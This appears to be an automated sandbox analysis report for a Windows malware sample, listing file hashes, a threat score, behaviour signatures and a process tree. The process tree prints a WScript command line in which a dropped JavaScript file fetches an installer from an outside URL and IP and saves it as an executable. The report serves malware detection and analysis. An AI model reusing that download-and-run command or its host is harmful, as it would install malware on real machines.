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Analysis

  • max time kernel
    148s
  • max time network
    150s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240426-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240426-enlocale:en-usos:windows10-2004-x64system
  • submitted
    05/06/2024, 18:19

General

  • Target

    98e5efeeb4ce2069026f6c48b086a831_JaffaCakes118.exe

  • Size

    184KB

  • MD5

    98e5efeeb4ce2069026f6c48b086a831

  • SHA1

    36694cf29b7163eeccfefaf9a8df83239c249395

  • SHA256

    83d8c327e238ee626c91c5a8c7367397b7a9a1d67efc2ead6cfd5b99c38fe40b

  • SHA512

    991fd0f42485b6a43bd8de7eba0d1735915c7134f60b20ab9247a7b604d424e0a30fb3884cfc904284419f6f255c11cc264f13c2ddf725e23bf682cd2b1c3a4b

  • SSDEEP

    3072:/MzsU0S0w8Hp9Rc/LB+dJGESR4hIRSYaVvb1NVFJNndnO3Z:/7BSH8zUB+nGESaaRvoB7FJNndn4

Score
8/10

Malware Config

Signatures

  • Blocklisted process makes network request 7 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies registry class 1 IoCs
  • Suspicious use of WriteProcessMemory 15 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\98e5efeeb4ce2069026f6c48b086a831_JaffaCakes118.exe
    "C:\Users\Admin\AppData\Local\Temp\98e5efeeb4ce2069026f6c48b086a831_JaffaCakes118.exe"
    1⤵
    • Checks computer location settings
    • Modifies registry class
    • Suspicious use of WriteProcessMemory
    PID:2240
    • C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf3410.js" http://www.djapp.info/?domain=VTivybhITx.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf3410.exe
      2⤵
      • Blocklisted process makes network request
      PID:844
    • C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf3410.js" http://www.djapp.info/?domain=VTivybhITx.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf3410.exe
      2⤵
      • Blocklisted process makes network request
      PID:1872
    • C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf3410.js" http://www.djapp.info/?domain=VTivybhITx.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf3410.exe
      2⤵
      • Blocklisted process makes network request
      PID:2328
    • C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf3410.js" http://www.djapp.info/?domain=VTivybhITx.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf3410.exe
      2⤵
      • Blocklisted process makes network request
      PID:1824
    • C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf3410.js" http://www.djapp.info/?domain=VTivybhITx.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf3410.exe
      2⤵
      • Blocklisted process makes network request
      PID:1536

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\fuf3410.js

    Filesize

    3KB

    MD5

    3813cab188d1de6f92f8b82c2059991b

    SHA1

    4807cc6ea087a788e6bb8ebdf63c9d2a859aa4cb

    SHA256

    a3c5baef033d6a5ab2babddcfc70fffe5cfbcef04f9a57f60ddf21a2ea0a876e

    SHA512

    83b0c0ed660b29d1b99111e8a3f37cc1d2e7bada86a2a10ecaacb81b43fad2ec94da6707a26e5ae94d3ce48aa8fc766439df09a6619418f98a215b9d9a6e4d76